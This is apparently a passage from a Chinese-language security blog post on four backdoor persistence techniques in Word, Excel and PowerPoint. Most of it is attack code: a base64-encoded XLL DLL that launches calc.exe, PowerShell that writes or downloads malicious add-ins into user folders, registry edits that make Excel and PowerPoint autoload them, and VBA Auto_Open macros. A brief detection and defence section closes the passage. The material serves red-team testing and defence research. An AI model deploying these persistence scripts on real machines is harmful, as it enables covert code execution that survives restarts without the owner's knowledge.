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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAAAzAJMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$fileContentBytes = [System.Convert]::FromBase64String($fileContent)
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\AddIns\calc.xll",$fileContentBytes)
通过 powershell 判断 office 版本：
dir -name "C:\Program Files\Microsoft Office\Office*"
回显： Office14
对字符串截取，截取出版本号 14，代码如下：
$OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*"
$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )
加入异常捕获，如果系统未安装 Office，返回提示信息：
Try
{
$OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop
$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )
}
Catch
{
Write-Host "[!] I can't find Microsoft Office!"
Write-Host "[+] Please reinput a correct path."
}
Write-Host "Microsoft Office Version:" $Ver
拼接不同 Office 版本对应的注册表路径:
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\Excel\"
新建键：Options
New-Item -type Directory $ExcelRegPath"Options" | Out-Null
新建字符串值： OPEN： /R calc.xll :
New-ItemProperty $ExcelRegPath"Options" OPEN -value "/R calc.xll" -propertyType string | Out-Null
完整代码如下：
$fileContent = "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ZGxsAHhsQXV0b09wZW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAAAzAJMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$fileContentBytes = [System.Convert]::FromBase64String($fileContent)
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\AddIns\calc.xll",$fileContentBytes)
Try
{
$OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop
$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )
}
Catch
{
Write-Host "[!] I can't find Microsoft Office!"
Write-Host "[+] Please reinput a correct path."
return
}
Write-Host "Microsoft Office Version:" $Ver
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\Excel\"
New-Item -type Directory $ExcelRegPath"Options" | Out-Null
New-ItemProperty $ExcelRegPath"Options" OPEN -value "/R calc.xll" -propertyType string | Out-Null
0x04 Excel VBA add-ins
1、手动测试
启动 Excel，开启开发工具选项，选择 Visual Basic
插入模块，写入以下代码：
Sub Auto_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Exec ("calc.exe")
End Sub
保存为 calc.xlam,路径为：
%appdata%\Microsoft\Excel\XLSTART
启动 Excel.exe，弹出计算器，并且 Excel 正常启动
2、编写 Powershell 脚本实现
保存路径为：
%appdata%\Microsoft\Excel\XLSTART\calc.xlam
对应 powershell 代码如下：
$client = new-object System.Net.WebClient
$client.DownloadFile("..//Office-Persistence/master/calc.xlam",$env:APPDATA+"\Microsoft\Excel\XLSTART\calc.xlam")
0x05 PowerPoint VBA add-ins
1、手动测试
启动 PowerPoint，开启开发工具选项，选择 Visual Basic
插入模块，写入以下代码：
Sub Auto_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Exec ("calc.exe")
End Sub
保存为 calc.ppa，路径为：
%appdata%\Microsoft\AddIns
查找注册表键值：
Office2010 对应的键值为：
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint
Office2013 对应的键值为：
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint
新建项 AddIns，新建子项 calc（对应 calc.ppa）
新建 DWORD 值： Autoload ： 1
新建 字符串 值： Path ： calc.ppa
启动 PowerPoint.exe，弹出计算器，并且 PowerPoint 正常启动
2、编写 Powershell 脚本实现
保存路径为：
%appdata%\Microsoft\AddIns\calc.ppa
对应 powershell 代码如下：
$client = new-object System.Net.WebClient
$client.DownloadFile("..//Office-Persistence/master/calc.ppa",$env:APPDATA+"\Microsoft\AddIns\calc.ppa")
注册表路径：HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\
Try
{
$OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop
$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )
}
Catch
{
Write-Host "[!] I can't find Microsoft Office!"
Write-Host "[+] Please reinput a correct path."
return
}
Write-Host "Microsoft Office Version:" $Ver
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\PowerPoint\"
新建键 AddIns:
New-Item -type Directory $ExcelRegPath"AddIns" | Out-Null
新建键 calc:
New-Item -type Directory $ExcelRegPath"AddIns\calc" | Out-Null
新建 DWORD 值： Autoload： 1
New-ItemProperty $ExcelRegPath"AddIns\calc" Autoload -value "1" -propertyType DWORD | Out-Null
新建字符串值： Path： calc.ppa
New-ItemProperty $ExcelRegPath"AddIns\calc" Path -value "calc.ppa" -propertyType string | Out-Null
完整代码如下：
$client = new-object System.Net.WebClient
$client.DownloadFile("..//Office-Persistence/master/calc.ppa",$env:APPDATA+"\Microsoft\AddIns\calc.ppa")
Try
{
$OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop
$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )
}
Catch
{
Write-Host "[!] I can't find Microsoft Office!"
Write-Host "[+] Please reinput a correct path."
return
}
Write-Host "Microsoft Office Version:" $Ver
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\PowerPoint\"
New-Item -type Directory $ExcelRegPath"AddIns" | Out-Null
New-Item -type Directory $ExcelRegPath"AddIns\calc" | Out-Null
New-ItemProperty $ExcelRegPath"AddIns\calc" Autoload -value "1" -propertyType DWORD | Out-Null
New-ItemProperty $ExcelRegPath"AddIns\calc" Path -value "calc.ppa" -propertyType string | Out-Null
注：
以上四种方法的利用脚本我已经整合并上传至 github，地址为：
https://github.com/3gstudent/Office-Persistence
0x06 检测和防御
1、Word
禁用所有加载项，如下图
禁用所有控件，如下图
禁用所有宏，如下图
Word WLL 依然能够执行
防御方法：
删除信任位置：
C:\Users\a\AppData\Roaming\Microsoft\Word\Startup\
如下图
注：
添加时不能使用环境变量%appdata%
2、Excel
Excel XLL 和 Excel VBA add-ins:
防御方法：
禁用所有加载项
3、PowerPoint
PowerPoint VBA add-ins:
防御方法：
禁用所有加载项
0x07 小结
本文介绍了 x86 系统下 Word、Excel、PowerPoint 中常用的四种后门利用方式，开源 POC 脚本以便于测试，最后站在防御角度，介绍了具体的防御方法。x64 系统的利用方法作适当修改就好。
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